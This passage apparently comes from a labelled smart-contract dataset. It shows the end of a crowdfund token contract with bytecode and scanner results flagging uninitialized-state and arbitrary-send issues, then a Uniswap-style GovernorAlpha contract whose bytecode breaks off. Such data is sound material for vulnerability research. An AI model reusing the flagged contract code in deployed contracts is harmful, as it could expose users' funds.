function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender] - value;
_transfer(from, to, value);
return true;
}
// ============ Tiered Campaigns ============
function buyEdition(
uint256 amount,
uint256 editionId,
address recipient
) internal returns (uint256) {
// Check that the sender is paying the correct amount.
require(
amount >= ICrowdfundEditions(editions).editionPrice(editionId),
"Unable purchase edition with available amount"
);
// We don't need to transfer the value to the NFT contract here,
// since that contract trusts this one to check before minting.
// I.E. this contract has minting privileges.
return ICrowdfundEditions(editions).buyEdition(editionId, recipient);
}
}
|
0x6080604052600436106101755760003560e01c80637b4044a0116100cb578063a9059cbb1161007f578063db006a7511610059578063db006a751461040e578063dd62ed3e1461042e578063e3b2594f1461046657600080fd5b8063a9059cbb146103ae578063b8ddbcb3146103ce578063d7dfa0dd146103ee57600080fd5b806395d89b41116100b057806395d89b41146103665780639744b8dc1461037b578063a08f793c1461039b57600080fd5b80637b4044a0146103235780637ecebe001461033957600080fd5b806323b872dd1161012d57806331a3a5061161010757806331a3a506146102bf578063570ca735146102d657806370a08231146102f657600080fd5b806323b872dd146102585780632f87e4be14610278578063313ce5671461029857600080fd5b806318160ddd1161015e57806318160ddd146101d55780631bb534ba146101f9578063200d2ed21461023157600080fd5b806306fdde031461017a578063095ea7b3146101a5575b600080fd5b34801561018657600080fd5b5061018f61047c565b60405161019c919061133d565b60405180910390f35b3480156101b157600080fd5b506101c56101c03660046112b7565b61050a565b604051901515815260200161019c565b3480156101e157600080fd5b506101eb60085481565b60405190815260200161019c565b34801561020557600080fd5b50600154610219906001600160a01b031681565b6040516001600160a01b03909116815260200161019c565b34801561023d57600080fd5b5060065461024b9060ff1681565b60405161019c9190611315565b34801561026457600080fd5b506101c5610273366004611276565b610520565b34801561028457600080fd5b506101eb6102933660046112e3565b610588565b3480156102a457600080fd5b506102ad601281565b60405160ff909116815260200161019c565b3480156102cb57600080fd5b506102d46105a8565b005b3480156102e257600080fd5b50600054610219906001600160a01b031681565b34801561030257600080fd5b506101eb6103113660046111e4565b60096020526000908152604090205481565b34801561032f57600080fd5b506101eb60035481565b34801561034557600080fd5b506101eb6103543660046111e4565b600b6020526000908152604090205481565b34801561037257600080fd5b5061018f610748565b34801561038757600080fd5b506101eb6103963660046112e3565b610755565b6102d46103a9366004611208565b610763565b3480156103ba57600080fd5b506101c56103c93660046112b7565b610ac6565b3480156103da57600080fd5b50600d54610219906001600160a01b031681565b3480156103fa57600080fd5b50600c54610219906001600160a01b031681565b34801561041a57600080fd5b506102d46104293660046112e3565b610ad3565b34801561043a57600080fd5b506101eb61044936600461123d565b600a60209081526000928352604080842090915290825290205481565b34801561047257600080fd5b506101eb60025481565b600580546104899061143e565b80601f01602080910402602001604051908101604052809291908181526020018280546104b59061143e565b80156105025780601f106104d757610100808354040283529160200191610502565b820191906000526020600020905b8154815290600101906020018083116104e557829003601f168201915b505050505081565b6000610517338484610cec565b50600192915050565b6001600160a01b0383166000908152600a6020908152604080832033845290915281205461054f908390611427565b6001600160a01b0385166000908152600a6020908152604080832033845290915290205561057e848484610d4e565b5060019392505050565b60085460009061059847846113ea565b6105a291906113c8565b92915050565b6000546001600160a01b031633146105bf57600080fd5b600260075414156106175760405162461bcd60e51b815260206004820152600e60248201527f5265656e7472616e742063616c6c00000000000000000000000000000000000060448201526064015b60405180910390fd5b6002600755600060065460ff1660018111156106355761063561148f565b146106825760405162461bcd60e51b815260206004820152601f60248201527f43726f776466756e643a2046756e64696e67206d757374206265206f70656e00604482015260640161060e565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556003546000906106be906064611427565b6008546003546106ce91906113ea565b6106d891906113c8565b6000549091506106f1906001600160a01b031682610df6565b60408051478152602081018390527f352ce94da8e3109dc06c05ed84e8a0aaf9ce2c4329dfd10ad1190cf620048972910160405180910390a1600154610740906001600160a01b031647610e88565b506001600755565b600480546104899061143e565b60006105a26103e8836113ea565b600260075414156107b65760405162461bcd60e51b815260206004820152600e60248201527f5265656e7472616e742063616c6c000000000000000000000000000000000000604482015260640161060e565b6002600755600060065460ff1660018111156107d4576107d461148f565b146108215760405162461bcd60e51b815260206004820152601f60248201527f43726f776466756e643a2046756e64696e67206d757374206265206f70656e00604482015260640161060e565b3481146108965760405162461bcd60e51b815260206004820152602360248201527f43726f776466756e643a20416d6f756e74206973206e6f742076616c7565207360448201527f656e740000000000000000000000000000000000000000000000000000000000606482015260840161060e565b6002544711610958576108b1836108ac83610755565b610df6565b8115610919577ffb7955a99240dbf0dd35c467144fb9661fbf7a19839f7d8220400c0dc52e70ae8382846108e6858789610fa6565b604080516001600160a01b03909516855260208501939093529183015260608201526080015b60405180910390a1610abc565b604080516001600160a01b0385168152602081018390527f4d154d4aae216bed6d0926db77c00df2b57c6b5ba4eee05775de20facede3a7b910161090c565b60006109648247611427565b905060025481106109dd5760405162461bcd60e51b815260206004820152602660248201527f43726f776466756e643a2046756e64696e672063617020616c7265616479207260448201527f6561636865640000000000000000000000000000000000000000000000000000606482015260840161060e565b6000816002546109ed9190611427565b90506109fc856108ac83610755565b8315610a63577ffb7955a99240dbf0dd35c467144fb9661fbf7a19839f7d8220400c0dc52e70ae858286610a3185898b610fa6565b604080516001600160a01b039095168552602085019390935291830152606082015260800160405180910390a1610aa6565b604080516001600160a01b0387168152602081018390527f4d154d4aae216bed6d0926db77c00df2b57c6b5ba4eee05775de20facede3a7b910160405180910390a15b610ab985610ab48386611427565b610e88565b50505b5050600160075550565b6000610517338484610d4e565b60026007541415610b265760405162461bcd60e51b815260206004820152600e60248201527f5265656e7472616e742063616c6c000000000000000000000000000000000000604482015260640161060e565b600260075547610b9e5760405162461bcd60e51b815260206004820152602560248201527f43726f776466756e643a204e6f2045544820617661696c61626c6520746f207260448201527f656465656d000000000000000000000000000000000000000000000000000000606482015260840161060e565b33600090815260096020526040902054811115610bfd5760405162461bcd60e51b815260206004820152601f60248201527f43726f776466756e643a20496e73756666696369656e742062616c616e636500604482015260640161060e565b600160065460ff166001811115610c1657610c1661148f565b14610c895760405162461bcd60e51b815260206004820152602260248201527f43726f776466756e643a2046756e64696e67206d75737420626520747261646960448201527f6e67000000000000000000000000000000000000000000000000000000000000606482015260840161060e565b6000610c9482610588565b9050610ca03383611158565b610caa3382610e88565b60408051338152602081018390527f4896181ff8f4543cc00db9fe9b6fb7e6f032b7eb772c72ab1ec1b4d2e03b9369910160405180910390a150506001600755565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316600090815260096020526040902054610d72908290611427565b6001600160a01b038085166000908152600960205260408082209390935590841681522054610da29082906113b0565b6001600160a01b0380841660008181526009602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d419085815260200190565b80600854610e0491906113b0565b6008556001600160a01b038216600090815260096020526040902054610e2b9082906113b0565b6001600160a01b0383166000818152600960205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e7c9085815260200190565b60405180910390a35050565b80471015610ed85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161060e565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610f25576040519150601f19603f3d011682016040523d82523d6000602084013e610f2a565b606091505b5050905080610fa15760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161060e565b505050565b600d546040517f38d37b9b000000000000000000000000000000000000000000000000000000008152600481018490526000916001600160a01b0316906338d37b9b9060240160206040518083038186803b15801561100457600080fd5b505afa158015611018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103c91906112fc565b8410156110b15760405162461bcd60e51b815260206004820152602d60248201527f556e61626c652070757263686173652065646974696f6e20776974682061766160448201527f696c61626c6520616d6f756e7400000000000000000000000000000000000000606482015260840161060e565b600d546040517f121e4984000000000000000000000000000000000000000000000000000000008152600481018590526001600160a01b0384811660248301529091169063121e498490604401602060405180830381600087803b15801561111857600080fd5b505af115801561112c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115091906112fc565b949350505050565b6001600160a01b03821660009081526009602052604090205461117c908290611427565b6001600160a01b0383166000908152600960205260409020556008546111a3908290611427565b6008556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610e7c565b6000602082840312156111f657600080fd5b8135611201816114a5565b9392505050565b60008060006060848603121561121d57600080fd5b8335611228816114a5565b95602085013595506040909401359392505050565b6000806040838503121561125057600080fd5b823561125b816114a5565b9150602083013561126b816114a5565b809150509250929050565b60008060006060848603121561128b57600080fd5b8335611296816114a5565b925060208401356112a6816114a5565b929592945050506040919091013590565b600080604083850312156112ca57600080fd5b82356112d5816114a5565b946020939093013593505050565b6000602082840312156112f557600080fd5b5035919050565b60006020828403121561130e57600080fd5b5051919050565b602081016002831061133757634e487b7160e01b600052602160045260246000fd5b91905290565b600060208083528351808285015260005b8181101561136a5785810183015185820160400152820161134e565b8181111561137c576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600082198211156113c3576113c3611479565b500190565b6000826113e557634e487b7160e01b600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561142257611422611479565b500290565b60008282101561143957611439611479565b500390565b600181811c9082168061145257607f821691505b6020821081141561147357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6001600160a01b03811681146114ba57600080fd5b5056fea2646970667358221220c4470629a07105104491c9304aee6b1745e449a577a92857a926fb504781182a64736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,623 |
0x637ed4221350ea5a822fb9960391251bdfe856a9
|
/**
*Submitted for verification at Etherscan.io on 2021-05-26
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// Even fish can make waves.
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Uniswap Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 30_000_000e18; } // 3% of Uni
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 2_500_000e18; } // 0.25% of Uni
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the Uniswap Protocol Timelock
TimelockInterface public constant timelock = TimelockInterface(0x1a9C8182C09F50C8318d769245beA52c32BE35BC);
/// @notice The address of the Uniswap governance token
UniInterface public constant uni = UniInterface(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(uni.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(uni.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function __acceptAdmin() public {
timelock.acceptAdmin();
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = uni.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface UniInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
|
0x6080604052600436106101405760003560e01c80634634c61f116100b6578063da95691a1161006f578063da95691a14610459578063ddf0b00914610496578063deaaa7cc146104bf578063e23a9a52146104ea578063edc9af9514610527578063fe0d94c11461055257610140565b80634634c61f1461036d5780637bdbe4d014610396578063b58131b0146103c1578063b9a61961146103ec578063d33219b414610403578063da35c6641461042e57610140565b806320606b701161010857806320606b701461024657806324bc1a6414610271578063328dd9821461029c5780633932abb1146102dc5780633e4f49e61461030757806340e58ee51461034457610140565b8063013cf08b1461014557806302a251a31461018a57806306fdde03146101b557806315373e3d146101e057806317977c6114610209575b600080fd5b34801561015157600080fd5b5061016c60048036036101679190810190612caf565b61056e565b6040516101819998979695949392919061427d565b60405180910390f35b34801561019657600080fd5b5061019f6105f6565b6040516101ac91906141b2565b60405180910390f35b3480156101c157600080fd5b506101ca610600565b6040516101d79190613f55565b60405180910390f35b3480156101ec57600080fd5b5061020760048036036102029190810190612d3d565b610639565b005b34801561021557600080fd5b50610230600480360361022b9190810190612b04565b610648565b60405161023d91906141b2565b60405180910390f35b34801561025257600080fd5b5061025b610660565b6040516102689190613e28565b60405180910390f35b34801561027d57600080fd5b50610286610677565b60405161029391906141b2565b60405180910390f35b3480156102a857600080fd5b506102c360048036036102be9190810190612caf565b61068a565b6040516102d39493929190613dc7565b60405180910390f35b3480156102e857600080fd5b506102f1610967565b6040516102fe91906141b2565b60405180910390f35b34801561031357600080fd5b5061032e60048036036103299190810190612caf565b610970565b60405161033b9190613f3a565b60405180910390f35b34801561035057600080fd5b5061036b60048036036103669190810190612caf565b610b47565b005b34801561037957600080fd5b50610394600480360361038f9190810190612d79565b610e70565b005b3480156103a257600080fd5b506103ab61103f565b6040516103b891906141b2565b60405180910390f35b3480156103cd57600080fd5b506103d6611048565b6040516103e391906141b2565b60405180910390f35b3480156103f857600080fd5b5061040161105b565b005b34801561040f57600080fd5b506104186110d1565b6040516104259190613f04565b60405180910390f35b34801561043a57600080fd5b506104436110e9565b60405161045091906141b2565b60405180910390f35b34801561046557600080fd5b50610480600480360361047b9190810190612b2d565b6110ef565b60405161048d91906141b2565b60405180910390f35b3480156104a257600080fd5b506104bd60048036036104b89190810190612caf565b6116ad565b005b3480156104cb57600080fd5b506104d46119ef565b6040516104e19190613e28565b60405180910390f35b3480156104f657600080fd5b50610511600480360361050c9190810190612d01565b611a06565b60405161051e9190614197565b60405180910390f35b34801561053357600080fd5b5061053c611ae8565b6040516105499190613f1f565b60405180910390f35b61056c60048036036105679190810190612caf565b611b00565b005b60016020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b6000619d80905090565b6040518060400160405280601681526020017f556e697377617020476f7665726e6f7220416c7068610000000000000000000081525081565b610644338383611d40565b5050565b60026020528060005260406000206000915090505481565b60405161066c90613c44565b604051809103902081565b60006a18d0bf423c03d8de000000905090565b6060806060806000600160008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561073857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116106ee575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561078a57602002820191906000526020600020905b815481526020019060010190808311610776575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561086e578382906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561085a5780601f1061082f5761010080835404028352916020019161085a565b820191906000526020600020905b81548152906001019060200180831161083d57829003601f168201915b5050505050815260200190600101906107b2565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610951578382906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093d5780601f106109125761010080835404028352916020019161093d565b820191906000526020600020905b81548152906001019060200180831161092057829003601f168201915b505050505081526020019060010190610895565b5050505090509450945094509450509193509193565b60006001905090565b600081600054101580156109845750600082115b6109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba90613fb7565b60405180910390fd5b600060016000848152602001908152602001600020905080600b0160009054906101000a900460ff16156109fb576002915050610b42565b80600701544311610a10576000915050610b42565b80600801544311610a25576001915050610b42565b80600a01548160090154111580610a465750610a3f610677565b8160090154105b15610a55576003915050610b42565b600081600201541415610a6c576004915050610b42565b80600b0160019054906101000a900460ff1615610a8d576007915050610b42565b610b2c8160020154731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610aef57600080fd5b505afa158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610b279190810190612cd8565b612001565b4210610b3c576006915050610b42565b60059150505b919050565b6000610b5282610970565b9050600780811115610b6057fe5b816007811115610b6c57fe5b1415610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba490614137565b60405180910390fd5b6000600160008481526020019081526020016000209050610bcc611048565b731f9840a85d5af5bf1d1762f925bdaddc4201f98473ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c2c436001612056565b6040518363ffffffff1660e01b8152600401610c49929190613c97565b60206040518083038186803b158015610c6157600080fd5b505afa158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610c999190810190612df0565b6bffffffffffffffffffffffff1610610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90614077565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b8160030180549050811015610e3357731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663591fcdfe836003018381548110610d5857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018481548110610d9257fe5b9060005260206000200154856005018581548110610dac57fe5b90600052602060002001866006018681548110610dc557fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610df4959493929190613d66565b600060405180830381600087803b158015610e0e57600080fd5b505af1158015610e22573d6000803e3d6000fd5b505050508080600101915050610d0a565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610e6391906141b2565b60405180910390a1505050565b6000604051610e7e90613c44565b60405180910390206040518060400160405280601681526020017f556e697377617020476f7665726e6f7220416c7068610000000000000000000081525080519060200120610ecb6120a6565b30604051602001610edf9493929190613e43565b6040516020818303038152906040528051906020012090506000604051610f0590613c59565b60405180910390208787604051602001610f2193929190613e88565b60405160208183030381529060405280519060200120905060008282604051602001610f4e929190613c0d565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610f8b9493929190613ebf565b6020604051602081039080840390855afa158015610fad573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906140f7565b60405180910390fd5b611034818a8a611d40565b505050505050505050565b6000600a905090565b60006a0211654585005212800000905090565b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156110b757600080fd5b505af11580156110cb573d6000803e3d6000fd5b50505050565b731a9c8182c09f50c8318d769245bea52c32be35bc81565b60005481565b60006110f9611048565b731f9840a85d5af5bf1d1762f925bdaddc4201f98473ffffffffffffffffffffffffffffffffffffffff1663782d6fe133611135436001612056565b6040518363ffffffff1660e01b8152600401611152929190613c6e565b60206040518083038186803b15801561116a57600080fd5b505afa15801561117e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111a29190810190612df0565b6bffffffffffffffffffffffff16116111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e7906140d7565b60405180910390fd5b84518651148015611202575083518651145b801561120f575082518651145b61124e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124590614057565b60405180910390fd5b600086511415611293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128a906140b7565b60405180910390fd5b61129b61103f565b865111156112de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d590614017565b60405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081146113ed57600061133582610970565b90506001600781111561134457fe5b81600781111561135057fe5b1415611391576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138890614117565b60405180910390fd5b6000600781111561139e57fe5b8160078111156113aa57fe5b14156113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e290613ff7565b60405180910390fd5b505b6000611400436113fb610967565b612001565b90506000611415826114106105f6565b612001565b9050600080815480929190600101919050555061143061226d565b604051806101a0016040528060005481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060016000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301908051906020019061153a9291906122ef565b506080820151816004019080519060200190611557929190612379565b5060a08201518160050190805190602001906115749291906123c6565b5060c0820151816006019080519060200190611591929190612426565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160026000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd